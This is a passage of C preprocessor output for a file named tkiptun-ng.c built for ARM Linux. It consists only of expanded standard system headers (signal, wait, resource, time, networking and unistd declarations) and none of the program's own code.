sigev_signo; > int sigev_notify; > > union > { > int _pad[((64 / sizeof (int)) - 3)]; > > > > __pid_t _tid; > > struct > { > void (*_function) (sigval_t); > void *_attribute; > } _sigev_thread; > } _sigev_un; > } sigevent_t; > > > > > > >enum >{ > SIGEV_SIGNAL = 0, > > SIGEV_NONE, > > SIGEV_THREAD, > > > SIGEV_THREAD_ID = 4 > >}; ># 80 "/usr/include/signal.h" 2 3 4 > > > > >typedef void (*__sighandler_t) (int); > > > > >extern __sighandler_t __sysv_signal (int __sig, __sighandler_t __handler) > __attribute__ ((__nothrow__ , __leaf__)); ># 99 "/usr/include/signal.h" 3 4 > > >extern __sighandler_t signal (int __sig, __sighandler_t __handler) > __attribute__ ((__nothrow__ , __leaf__)); ># 113 "/usr/include/signal.h" 3 4 > ># 126 "/usr/include/signal.h" 3 4 >extern int kill (__pid_t __pid, int __sig) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int killpg (__pid_t __pgrp, int __sig) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int raise (int __sig) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern __sighandler_t ssignal (int __sig, __sighandler_t __handler) > __attribute__ ((__nothrow__ , __leaf__)); >extern int gsignal (int __sig) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern void psignal (int __sig, __const char *__s); > > > > >extern void psiginfo (__const siginfo_t *__pinfo, __const char *__s); ># 168 "/usr/include/signal.h" 3 4 >extern int __sigpause (int __sig_or_mask, int __is_sig); ># 196 "/usr/include/signal.h" 3 4 >extern int sigblock (int __mask) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__)); > > >extern int sigsetmask (int __mask) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__)); > > >extern int siggetmask (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__)); ># 216 "/usr/include/signal.h" 3 4 >typedef __sighandler_t sig_t; > > > > > >extern int sigemptyset (sigset_t *__set) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int sigfillset (sigset_t *__set) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int sigaddset (sigset_t *__set, int __signo) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int sigdelset (sigset_t *__set, int __signo) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int sigismember (__const sigset_t *__set, int __signo) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); ># 252 "/usr/include/signal.h" 3 4 ># 1 "/usr/include/bits/sigaction.h" 1 3 4 ># 25 "/usr/include/bits/sigaction.h" 3 4 >struct sigaction > { > > > union > { > > __sighandler_t sa_handler; > > void (*sa_sigaction) (int, siginfo_t *, void *); > } > __sigaction_handler; > > > > > > > > __sigset_t sa_mask; > > > int sa_flags; > > > void (*sa_restorer) (void); > }; ># 253 "/usr/include/signal.h" 2 3 4 > > >extern int sigprocmask (int __how, __const sigset_t *__restrict __set, > sigset_t *__restrict __oset) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int sigsuspend (__const sigset_t *__set) __attribute__ ((__nonnull__ (1))); > > >extern int sigaction (int __sig, __const struct sigaction *__restrict __act, > struct sigaction *__restrict __oact) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int sigpending (sigset_t *__set) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > > >extern int sigwait (__const sigset_t *__restrict __set, int *__restrict __sig) > __attribute__ ((__nonnull__ (1, 2))); > > > > > > >extern int sigwaitinfo (__const sigset_t *__restrict __set, > siginfo_t *__restrict __info) __attribute__ ((__nonnull__ (1))); > > > > > > >extern int sigtimedwait (__const sigset_t *__restrict __set, > siginfo_t *__restrict __info, > __const struct timespec *__restrict __timeout) > __attribute__ ((__nonnull__ (1))); > > > >extern int sigqueue (__pid_t __pid, int __sig, __const union sigval __val) > __attribute__ ((__nothrow__ , __leaf__)); ># 310 "/usr/include/signal.h" 3 4 >extern __const char *__const _sys_siglist[65]; >extern __const char *__const sys_siglist[65]; > > >struct sigvec > { > __sighandler_t sv_handler; > int sv_mask; > > int sv_flags; > > }; ># 334 "/usr/include/signal.h" 3 4 >extern int sigvec (int __sig, __const struct sigvec *__vec, > struct sigvec *__ovec) __attribute__ ((__nothrow__ , __leaf__)); > > > ># 1 "/usr/include/bits/sigcontext.h" 1 3 4 ># 28 "/usr/include/bits/sigcontext.h" 3 4 ># 1 "/usr/include/asm/sigcontext.h" 1 3 4 ># 9 "/usr/include/asm/sigcontext.h" 3 4 >struct sigcontext { > unsigned long trap_no; > unsigned long error_code; > unsigned long oldmask; > unsigned long arm_r0; > unsigned long arm_r1; > unsigned long arm_r2; > unsigned long arm_r3; > unsigned long arm_r4; > unsigned long arm_r5; > unsigned long arm_r6; > unsigned long arm_r7; > unsigned long arm_r8; > unsigned long arm_r9; > unsigned long arm_r10; > unsigned long arm_fp; > unsigned long arm_ip; > unsigned long arm_sp; > unsigned long arm_lr; > unsigned long arm_pc; > unsigned long arm_cpsr; > unsigned long fault_address; >}; ># 29 "/usr/include/bits/sigcontext.h" 2 3 4 > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 33 "/usr/include/bits/sigcontext.h" 2 3 4 ># 340 "/usr/include/signal.h" 2 3 4 > > >extern int sigreturn (struct sigcontext *__scp) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 350 "/usr/include/signal.h" 2 3 4 > > > > >extern int siginterrupt (int __sig, int __interrupt) __attribute__ ((__nothrow__ , __leaf__)); > ># 1 "/usr/include/bits/sigstack.h" 1 3 4 ># 26 "/usr/include/bits/sigstack.h" 3 4 >struct sigstack > { > void *ss_sp; > int ss_onstack; > }; > > > >enum >{ > SS_ONSTACK = 1, > > SS_DISABLE > >}; ># 50 "/usr/include/bits/sigstack.h" 3 4 >typedef struct sigaltstack > { > void *ss_sp; > int ss_flags; > size_t ss_size; > } stack_t; ># 357 "/usr/include/signal.h" 2 3 4 > > ># 1 "/usr/include/sys/ucontext.h" 1 3 4 ># 25 "/usr/include/sys/ucontext.h" 3 4 ># 1 "/usr/include/signal.h" 1 3 4 ># 26 "/usr/include/sys/ucontext.h" 2 3 4 > > > ># 1 "/usr/include/bits/sigcontext.h" 1 3 4 ># 30 "/usr/include/sys/ucontext.h" 2 3 4 > >typedef int greg_t; > > > > > >typedef greg_t gregset_t[18]; > > >enum >{ > REG_R0 = 0, > > REG_R1 = 1, > > REG_R2 = 2, > > REG_R3 = 3, > > REG_R4 = 4, > > REG_R5 = 5, > > REG_R6 = 6, > > REG_R7 = 7, > > REG_R8 = 8, > > REG_R9 = 9, > > REG_R10 = 10, > > REG_R11 = 11, > > REG_R12 = 12, > > REG_R13 = 13, > > REG_R14 = 14, > > REG_R15 = 15 > >}; > >struct _libc_fpstate >{ > struct > { > unsigned int sign1:1; > unsigned int unused:15; > unsigned int sign2:1; > unsigned int exponent:14; > unsigned int j:1; > unsigned int mantissa1:31; > unsigned int mantissa0:32; > } fpregs[8]; > unsigned int fpsr:32; > unsigned int fpcr:32; > unsigned char ftype[8]; > unsigned int init_flag; >}; > >typedef struct _libc_fpstate fpregset_t; > > > > > >typedef struct sigcontext mcontext_t; > > >typedef struct ucontext > { > unsigned long uc_flags; > struct ucontext *uc_link; > stack_t uc_stack; > mcontext_t uc_mcontext; > __sigset_t uc_sigmask; > unsigned long uc_regspace[128] __attribute__((__aligned__(8))); > } ucontext_t; ># 360 "/usr/include/signal.h" 2 3 4 > > > > > >extern int sigstack (struct sigstack *__ss, struct sigstack *__oss) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__)); > > > >extern int sigaltstack (__const struct sigaltstack *__restrict __ss, > struct sigaltstack *__restrict __oss) __attribute__ ((__nothrow__ , __leaf__)); ># 395 "/usr/include/signal.h" 3 4 ># 1 "/usr/include/bits/sigthread.h" 1 3 4 ># 31 "/usr/include/bits/sigthread.h" 3 4 >extern int pthread_sigmask (int __how, > __const __sigset_t *__restrict __newmask, > __sigset_t *__restrict __oldmask)__attribute__ ((__nothrow__ , __leaf__)); > > >extern int pthread_kill (pthread_t __threadid, int __signo) __attribute__ ((__nothrow__ , __leaf__)); ># 396 "/usr/include/signal.h" 2 3 4 > > > > > > >extern int __libc_current_sigrtmin (void) __attribute__ ((__nothrow__ , __leaf__)); > >extern int __libc_current_sigrtmax (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > ># 32 "/usr/include/sys/wait.h" 2 3 4 ># 1 "/usr/include/sys/resource.h" 1 3 4 ># 25 "/usr/include/sys/resource.h" 3 4 ># 1 "/usr/include/bits/resource.h" 1 3 4 ># 33 "/usr/include/bits/resource.h" 3 4 >enum __rlimit_resource >{ > > RLIMIT_CPU = 0, > > > > RLIMIT_FSIZE = 1, > > > > RLIMIT_DATA = 2, > > > > RLIMIT_STACK = 3, > > > > RLIMIT_CORE = 4, > > > > > > > __RLIMIT_RSS = 5, > > > > RLIMIT_NOFILE = 7, > __RLIMIT_OFILE = RLIMIT_NOFILE, > > > > > RLIMIT_AS = 9, > > > > __RLIMIT_NPROC = 6, > > > > __RLIMIT_MEMLOCK = 8, > > > > __RLIMIT_LOCKS = 10, > > > > __RLIMIT_SIGPENDING = 11, > > > > __RLIMIT_MSGQUEUE = 12, > > > > > > __RLIMIT_NICE = 13, > > > > > __RLIMIT_RTPRIO = 14, > > > > > > __RLIMIT_RTTIME = 15, > > > __RLIMIT_NLIMITS = 16, > __RLIM_NLIMITS = __RLIMIT_NLIMITS > > >}; ># 135 "/usr/include/bits/resource.h" 3 4 >typedef __rlim64_t rlim_t; > > > > > >struct rlimit > { > > rlim_t rlim_cur; > > rlim_t rlim_max; > }; ># 160 "/usr/include/bits/resource.h" 3 4 >enum __rusage_who >{ > > RUSAGE_SELF = 0, > > > > RUSAGE_CHILDREN = -1 ># 178 "/usr/include/bits/resource.h" 3 4 >}; > > ># 1 "/usr/include/bits/time.h" 1 3 4 ># 182 "/usr/include/bits/resource.h" 2 3 4 > > >struct rusage > { > > struct timeval ru_utime; > > struct timeval ru_stime; > > long int ru_maxrss; > > > long int ru_ixrss; > > long int ru_idrss; > > long int ru_isrss; > > > long int ru_minflt; > > long int ru_majflt; > > long int ru_nswap; > > > long int ru_inblock; > > long int ru_oublock; > > long int ru_msgsnd; > > long int ru_msgrcv; > > long int ru_nsignals; > > > > long int ru_nvcsw; > > > long int ru_nivcsw; > }; > > > > > > > >enum __priority_which >{ > PRIO_PROCESS = 0, > > PRIO_PGRP = 1, > > PRIO_USER = 2 > >}; > > > ># 268 "/usr/include/bits/resource.h" 3 4 > ># 26 "/usr/include/sys/resource.h" 2 3 4 > > > > > > > ># 43 "/usr/include/sys/resource.h" 3 4 >typedef int __rlimit_resource_t; >typedef int __rusage_who_t; >typedef int __priority_which_t; ># 55 "/usr/include/sys/resource.h" 3 4 >extern int getrlimit (__rlimit_resource_t __resource, struct rlimit *__rlimits) __asm__ ("" "getrlimit64") __attribute__ ((__nothrow__ , __leaf__)) > ; ># 74 "/usr/include/sys/resource.h" 3 4 >extern int setrlimit (__rlimit_resource_t __resource, __const struct rlimit *__rlimits) __asm__ ("" "setrlimit64") __attribute__ ((__nothrow__ , __leaf__)) > > ; ># 88 "/usr/include/sys/resource.h" 3 4 >extern int getrusage (__rusage_who_t __who, struct rusage *__usage) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern int getpriority (__priority_which_t __which, id_t __who) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int setpriority (__priority_which_t __which, id_t __who, int __prio) > __attribute__ ((__nothrow__ , __leaf__)); > > ># 33 "/usr/include/sys/wait.h" 2 3 4 > > > > > ># 1 "/usr/include/bits/waitflags.h" 1 3 4 ># 39 "/usr/include/sys/wait.h" 2 3 4 ># 63 "/usr/include/sys/wait.h" 3 4 >typedef union > { > union wait *__uptr; > int *__iptr; > } __WAIT_STATUS __attribute__ ((__transparent_union__)); ># 80 "/usr/include/sys/wait.h" 3 4 ># 1 "/usr/include/bits/waitstatus.h" 1 3 4 ># 67 "/usr/include/bits/waitstatus.h" 3 4 >union wait > { > int w_status; > struct > { > > unsigned int __w_termsig:7; > unsigned int __w_coredump:1; > unsigned int __w_retcode:8; > unsigned int:16; > > > > > > > > } __wait_terminated; > struct > { > > unsigned int __w_stopval:8; > unsigned int __w_stopsig:8; > unsigned int:16; > > > > > > > } __wait_stopped; > }; ># 81 "/usr/include/sys/wait.h" 2 3 4 ># 102 "/usr/include/sys/wait.h" 3 4 >typedef enum >{ > P_ALL, > P_PID, > P_PGID >} idtype_t; ># 116 "/usr/include/sys/wait.h" 3 4 >extern __pid_t wait (__WAIT_STATUS __stat_loc); ># 139 "/usr/include/sys/wait.h" 3 4 >extern __pid_t waitpid (__pid_t __pid, int *__stat_loc, int __options); > > > ># 1 "/usr/include/bits/siginfo.h" 1 3 4 ># 25 "/usr/include/bits/siginfo.h" 3 4 ># 1 "/usr/include/bits/wordsize.h" 1 3 4 ># 26 "/usr/include/bits/siginfo.h" 2 3 4 ># 144 "/usr/include/sys/wait.h" 2 3 4 ># 155 "/usr/include/sys/wait.h" 3 4 >extern int waitid (idtype_t __idtype, __id_t __id, siginfo_t *__infop, > int __options); > > > > > >struct rusage; > > > > > > >extern __pid_t wait3 (__WAIT_STATUS __stat_loc, int __options, > struct rusage * __usage) __attribute__ ((__nothrow__)); > > > > >extern __pid_t wait4 (__pid_t __pid, __WAIT_STATUS __stat_loc, int __options, > struct rusage *__usage) __attribute__ ((__nothrow__)); > > > > ># 45 "tkiptun-ng.c" 2 ># 1 "/usr/include/sys/time.h" 1 3 4 ># 27 "/usr/include/sys/time.h" 3 4 ># 1 "/usr/include/time.h" 1 3 4 ># 28 "/usr/include/sys/time.h" 2 3 4 > ># 1 "/usr/include/bits/time.h" 1 3 4 ># 30 "/usr/include/sys/time.h" 2 3 4 ># 39 "/usr/include/sys/time.h" 3 4 > ># 57 "/usr/include/sys/time.h" 3 4 >struct timezone > { > int tz_minuteswest; > int tz_dsttime; > }; > >typedef struct timezone *__restrict __timezone_ptr_t; ># 73 "/usr/include/sys/time.h" 3 4 >extern int gettimeofday (struct timeval *__restrict __tv, > __timezone_ptr_t __tz) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > >extern int settimeofday (__const struct timeval *__tv, > __const struct timezone *__tz) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern int adjtime (__const struct timeval *__delta, > struct timeval *__olddelta) __attribute__ ((__nothrow__ , __leaf__)); > > > > >enum __itimer_which > { > > ITIMER_REAL = 0, > > > ITIMER_VIRTUAL = 1, > > > > ITIMER_PROF = 2 > > }; > > > >struct itimerval > { > > struct timeval it_interval; > > struct timeval it_value; > }; > > > > > > >typedef int __itimer_which_t; > > > > >extern int getitimer (__itimer_which_t __which, > struct itimerval *__value) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int setitimer (__itimer_which_t __which, > __const struct itimerval *__restrict __new, > struct itimerval *__restrict __old) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int utimes (__const char *__file, __const struct timeval __tvp[2]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > >extern int lutimes (__const char *__file, __const struct timeval __tvp[2]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern int futimes (int __fd, __const struct timeval __tvp[2]) __attribute__ ((__nothrow__ , __leaf__)); ># 191 "/usr/include/sys/time.h" 3 4 > ># 46 "tkiptun-ng.c" 2 > ># 1 "/usr/include/netinet/in.h" 1 3 4 ># 24 "/usr/include/netinet/in.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdint.h" 1 3 4 > > ># 1 "/usr/include/stdint.h" 1 3 4 ># 27 "/usr/include/stdint.h" 3 4 ># 1 "/usr/include/bits/wchar.h" 1 3 4 ># 28 "/usr/include/stdint.h" 2 3 4 ># 1 "/usr/include/bits/wordsize.h" 1 3 4 ># 29 "/usr/include/stdint.h" 2 3 4 ># 49 "/usr/include/stdint.h" 3 4 >typedef unsigned char uint8_t; >typedef unsigned short int uint16_t; > >typedef unsigned int uint32_t; > > > > > >__extension__ >typedef unsigned long long int uint64_t; > > > > > > >typedef signed char int_least8_t; >typedef short int int_least16_t; >typedef int int_least32_t; > > > >__extension__ >typedef long long int int_least64_t; > > > >typedef unsigned char uint_least8_t; >typedef unsigned short int uint_least16_t; >typedef unsigned int uint_least32_t; > > > >__extension__ >typedef unsigned long long int uint_least64_t; > > > > > > >typedef signed char int_fast8_t; > > > > > >typedef int int_fast16_t; >typedef int int_fast32_t; >__extension__ >typedef long long int int_fast64_t; > > > >typedef unsigned char uint_fast8_t; > > > > > >typedef unsigned int uint_fast16_t; >typedef unsigned int uint_fast32_t; >__extension__ >typedef unsigned long long int uint_fast64_t; ># 126 "/usr/include/stdint.h" 3 4 >typedef int intptr_t; > > >typedef unsigned int uintptr_t; ># 138 "/usr/include/stdint.h" 3 4 >__extension__ >typedef long long int intmax_t; >__extension__ >typedef unsigned long long int uintmax_t; ># 4 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdint.h" 2 3 4 ># 25 "/usr/include/netinet/in.h" 2 3 4 > > > > > > > >enum > { > IPPROTO_IP = 0, > > IPPROTO_HOPOPTS = 0, > > IPPROTO_ICMP = 1, > > IPPROTO_IGMP = 2, > > IPPROTO_IPIP = 4, > > IPPROTO_TCP = 6, > > IPPROTO_EGP = 8, > > IPPROTO_PUP = 12, > > IPPROTO_UDP = 17, > > IPPROTO_IDP = 22, > > IPPROTO_TP = 29, > > IPPROTO_DCCP = 33, > > IPPROTO_IPV6 = 41, > > IPPROTO_ROUTING = 43, > > IPPROTO_FRAGMENT = 44, > > IPPROTO_RSVP = 46, > > IPPROTO_GRE = 47, > > IPPROTO_ESP = 50, > > IPPROTO_AH = 51, > > IPPROTO_ICMPV6 = 58, > > IPPROTO_NONE = 59, > > IPPROTO_DSTOPTS = 60, > > IPPROTO_MTP = 92, > > IPPROTO_ENCAP = 98, > > IPPROTO_PIM = 103, > > IPPROTO_COMP = 108, > > IPPROTO_SCTP = 132, > > IPPROTO_UDPLITE = 136, > > IPPROTO_RAW = 255, > > IPPROTO_MAX > }; > > > >typedef uint16_t in_port_t; > > >enum > { > IPPORT_ECHO = 7, > IPPORT_DISCARD = 9, > IPPORT_SYSTAT = 11, > IPPORT_DAYTIME = 13, > IPPORT_NETSTAT = 15, > IPPORT_FTP = 21, > IPPORT_TELNET = 23, > IPPORT_SMTP = 25, > IPPORT_TIMESERVER = 37, > IPPORT_NAMESERVER = 42, > IPPORT_WHOIS = 43, > IPPORT_MTP = 57, > > IPPORT_TFTP = 69, > IPPORT_RJE = 77, > IPPORT_FINGER = 79, > IPPORT_TTYLINK = 87, > IPPORT_SUPDUP = 95, > > > IPPORT_EXECSERVER = 512, > IPPORT_LOGINSERVER = 513, > IPPORT_CMDSERVER = 514, > IPPORT_EFSSERVER = 520, > > > IPPORT_BIFFUDP = 512, > IPPORT_WHOSERVER = 513, > IPPORT_ROUTESERVER = 520, > > > IPPORT_RESERVED = 1024, > > > IPPORT_USERRESERVED = 5000 > }; > > > >typedef uint32_t in_addr_t; >struct in_addr > { > in_addr_t s_addr; > }; ># 198 "/usr/include/netinet/in.h" 3 4 >struct in6_addr > { > union > { > uint8_t __u6_addr8[16]; > > uint16_t __u6_addr16[8]; > uint32_t __u6_addr32[4]; > > } __in6_u; > > > > > > }; > >extern const struct in6_addr in6addr_any; >extern const struct in6_addr in6addr_loopback; ># 225 "/usr/include/netinet/in.h" 3 4 >struct sockaddr_in > { > sa_family_t sin_family; > in_port_t sin_port; > struct in_addr sin_addr; > > > unsigned char sin_zero[sizeof (struct sockaddr) - > (sizeof (unsigned short int)) - > sizeof (in_port_t) - > sizeof (struct in_addr)]; > }; > > >struct sockaddr_in6 > { > sa_family_t sin6_family; > in_port_t sin6_port; > uint32_t sin6_flowinfo; > struct in6_addr sin6_addr; > uint32_t sin6_scope_id; > }; > > > > >struct ip_mreq > { > > struct in_addr imr_multiaddr; > > > struct in_addr imr_interface; > }; > >struct ip_mreq_source > { > > struct in_addr imr_multiaddr; > > > struct in_addr imr_interface; > > > struct in_addr imr_sourceaddr; > }; > > > > >struct ipv6_mreq > { > > struct in6_addr ipv6mr_multiaddr; > > > unsigned int ipv6mr_interface; > }; > > > > >struct group_req > { > > uint32_t gr_interface; > > > struct sockaddr_storage gr_group; > }; > >struct group_source_req > { > > uint32_t gsr_interface; > > > struct sockaddr_storage gsr_group; > > > struct sockaddr_storage gsr_source; > }; > > > >struct ip_msfilter > { > > struct in_addr imsf_multiaddr; > > > struct in_addr imsf_interface; > > > uint32_t imsf_fmode; > > > uint32_t imsf_numsrc; > > struct in_addr imsf_slist[1]; > }; > > > > > >struct group_filter > { > > uint32_t gf_interface; > > > struct sockaddr_storage gf_group; > > > uint32_t gf_fmode; > > > uint32_t gf_numsrc; > > struct sockaddr_storage gf_slist[1]; >}; ># 356 "/usr/include/netinet/in.h" 3 4 ># 1 "/usr/include/bits/in.h" 1 3 4 ># 99 "/usr/include/bits/in.h" 3 4 >struct ip_opts > { > struct in_addr ip_dst; > char ip_opts[40]; > }; > > >struct ip_mreqn > { > struct in_addr imr_multiaddr; > struct in_addr imr_address; > int imr_ifindex; > }; > > >struct in_pktinfo > { > int ipi_ifindex; > struct in_addr ipi_spec_dst; > struct in_addr ipi_addr; > }; ># 357 "/usr/include/netinet/in.h" 2 3 4 ># 365 "/usr/include/netinet/in.h" 3 4 >extern uint32_t ntohl (uint32_t __netlong) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); >extern uint16_t ntohs (uint16_t __netshort) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); >extern uint32_t htonl (uint32_t __hostlong) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); >extern uint16_t htons (uint16_t __hostshort) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); > > > > ># 1 "/usr/include/bits/byteswap.h" 1 3 4 ># 377 "/usr/include/netinet/in.h" 2 3 4 ># 492 "/usr/include/netinet/in.h" 3 4 >extern int bindresvport (int __sockfd, struct sockaddr_in *__sock_in) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int bindresvport6 (int __sockfd, struct sockaddr_in6 *__sock_in) > __attribute__ ((__nothrow__ , __leaf__)); ># 617 "/usr/include/netinet/in.h" 3 4 > ># 48 "tkiptun-ng.c" 2 ># 1 "/usr/include/arpa/inet.h" 1 3 4 ># 31 "/usr/include/arpa/inet.h" 3 4 > > > > >extern in_addr_t inet_addr (__const char *__cp) __attribute__ ((__nothrow__ , __leaf__)); > > >extern in_addr_t inet_lnaof (struct in_addr __in) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern struct in_addr inet_makeaddr (in_addr_t __net, in_addr_t __host) > __attribute__ ((__nothrow__ , __leaf__)); > > >extern in_addr_t inet_netof (struct in_addr __in) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern in_addr_t inet_network (__const char *__cp) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern char *inet_ntoa (struct in_addr __in) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int inet_pton (int __af, __const char *__restrict __cp, > void *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern __const char *inet_ntop (int __af, __const void *__restrict __cp, > char *__restrict __buf, socklen_t __len) > __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int inet_aton (__const char *__cp, struct in_addr *__inp) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern char *inet_neta (in_addr_t __net, char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern char *inet_net_ntop (int __af, __const void *__cp, int __bits, > char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int inet_net_pton (int __af, __const char *__cp, > void *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern unsigned int inet_nsap_addr (__const char *__cp, > unsigned char *__buf, int __len) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern char *inet_nsap_ntoa (int __len, __const unsigned char *__cp, > char *__buf) __attribute__ ((__nothrow__ , __leaf__)); > > > ># 49 "tkiptun-ng.c" 2 ># 1 "/usr/include/unistd.h" 1 3 4 ># 28 "/usr/include/unistd.h" 3 4 > ># 203 "/usr/include/unistd.h" 3 4 ># 1 "/usr/include/bits/posix_opt.h" 1 3 4 ># 204 "/usr/include/unistd.h" 2 3 4 > > > ># 1 "/usr/include/bits/environments.h" 1 3 4 ># 23 "/usr/include/bits/environments.h" 3 4 ># 1 "/usr/include/bits/wordsize.h" 1 3 4 ># 24 "/usr/include/bits/environments.h" 2 3 4 ># 208 "/usr/include/unistd.h" 2 3 4 ># 227 "/usr/include/unistd.h" 3 4 ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 228 "/usr/include/unistd.h" 2 3 4 ># 256 "/usr/include/unistd.h" 3 4 >typedef __useconds_t useconds_t; ># 288 "/usr/include/unistd.h" 3 4 >extern int access (__const char *__name, int __type) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); ># 305 "/usr/include/unistd.h" 3 4 >extern int faccessat (int __fd, __const char *__file, int __type, int __flag) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) __attribute__ ((__warn_unused_result__)); ># 338 "/usr/include/unistd.h" 3 4 >extern __off64_t lseek (int __fd, __off64_t __offset, int __whence) __asm__ ("" "lseek64") __attribute__ ((__nothrow__ , __leaf__)) > > ; ># 354 "/usr/include/unistd.h" 3 4 >extern int close (int __fd); > > > > > > >extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __attribute__ ((__warn_unused_result__)); > > > > > >extern ssize_t write (int __fd, __const void *__buf, size_t __n) __attribute__ ((__warn_unused_result__)); ># 389 "/usr/include/unistd.h" 3 4 >extern ssize_t pread (int __fd, void *__buf, size_t __nbytes, __off64_t __offset) __asm__ ("" "pread64") > > __attribute__ ((__warn_unused_result__)); >extern ssize_t pwrite (int __fd, __const void *__buf, size_t __nbytes, __off64_t __offset) __asm__ ("" "pwrite64") > > __attribute__ ((__warn_unused_result__)); ># 418 "/usr/include/unistd.h" 3 4 >extern int pipe (int __pipedes[2]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 433 "/usr/include/unistd.h" 3 4 >extern unsigned int alarm (unsigned int __seconds) __attribute__ ((__nothrow__ , __leaf__)); ># 445 "/usr/include/unistd.h" 3 4 >extern unsigned int sleep (unsigned int __seconds); > > > > > > > >extern __useconds_t ualarm (__useconds_t __value, __useconds_t __interval) > __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int usleep (__useconds_t __useconds); ># 470 "/usr/include/unistd.h" 3 4 >extern int pause (void); > > > >extern int chown (__const char *__file, __uid_t __owner, __gid_t __group) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > >extern int fchown (int __fd, __uid_t __owner, __gid_t __group) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > >extern int lchown (__const char *__file, __uid_t __owner, __gid_t __group) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > > >extern int fchownat (int __fd, __const char *__file, __uid_t __owner, > __gid_t __group, int __flag) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) __attribute__ ((__warn_unused_result__)); > > > >extern int chdir (__const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > >extern int fchdir (int __fd) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 512 "/usr/include/unistd.h" 3 4 >extern char *getcwd (char *__buf, size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 526 "/usr/include/unistd.h" 3 4 >extern char *getwd (char *__buf) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__deprecated__)) __attribute__ ((__warn_unused_result__)); > > > > >extern int dup (int __fd) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > >extern int dup2 (int __fd, int __fd2) __attribute__ ((__nothrow__ , __leaf__)); ># 544 "/usr/include/unistd.h" 3 4 >extern char **__environ; > > > > > > > >extern int execve (__const char *__path, char *__const __argv[], > char *__const __envp[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > > >extern int fexecve (int __fd, char *__const __argv[], char *__const __envp[]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > > > > >extern int execv (__const char *__path, char *__const __argv[]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > >extern int execle (__const char *__path, __const char *__arg, ...) > __attribute__ 